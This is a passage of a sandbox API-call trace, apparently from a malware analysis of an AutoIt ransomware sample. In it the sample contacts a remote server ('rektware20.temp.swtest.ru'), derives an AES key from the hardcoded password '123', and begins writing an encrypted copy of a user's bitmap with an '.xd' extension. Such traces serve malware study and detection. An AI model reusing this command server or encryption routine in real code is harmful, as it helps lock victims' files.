3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hAWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AWznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WznM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="znM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nM.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0081.294] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.294] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.294] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0081.294] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.294] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0081.294] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0081.295] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.295] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0081.295] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0081.295] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0081.295] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.295] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0081.295] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0081.296] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0081.296] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0081.296] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0081.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0081.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629410, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629410*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0081.296] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.297] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.297] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0081.297] CloseHandle (hObject=0x0) returned 0 [0081.297] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.297] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0081.297] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0081.297] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.297] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.298] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.298] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.298] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0081.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0081.298] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.299] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.299] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.299] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0081.299] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0081.299] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0081.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0081.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0081.300] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0081.300] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0081.301] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.302] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.302] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0081.302] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.302] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.302] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.302] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.302] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.302] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.303] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.303] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0081.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.303] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.303] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.303] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.303] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.303] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.303] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.304] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.304] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.304] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.304] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.304] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.304] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.304] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.304] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.304] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.304] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0081.304] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0081.304] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0081.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0081.305] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0081.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0081.305] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.305] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.305] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.305] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0081.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621648, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0081.306] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0081.306] CryptHashData (hHash=0x164ca30, pbData=0x16293a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0081.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.306] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.306] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.306] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.306] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.306] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0081.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218b8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0081.306] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0081.306] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164ca30, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0081.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.307] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.307] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0081.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0081.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0081.307] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0081.307] CryptDestroyHash (hHash=0x164ca30) returned 1 [0081.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.307] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.307] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vx1kzhawznm.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0081.308] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.308] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0081.308] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.308] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.308] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.308] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0081.308] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vx1kzhawznm.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0081.310] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.310] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.310] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.310] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 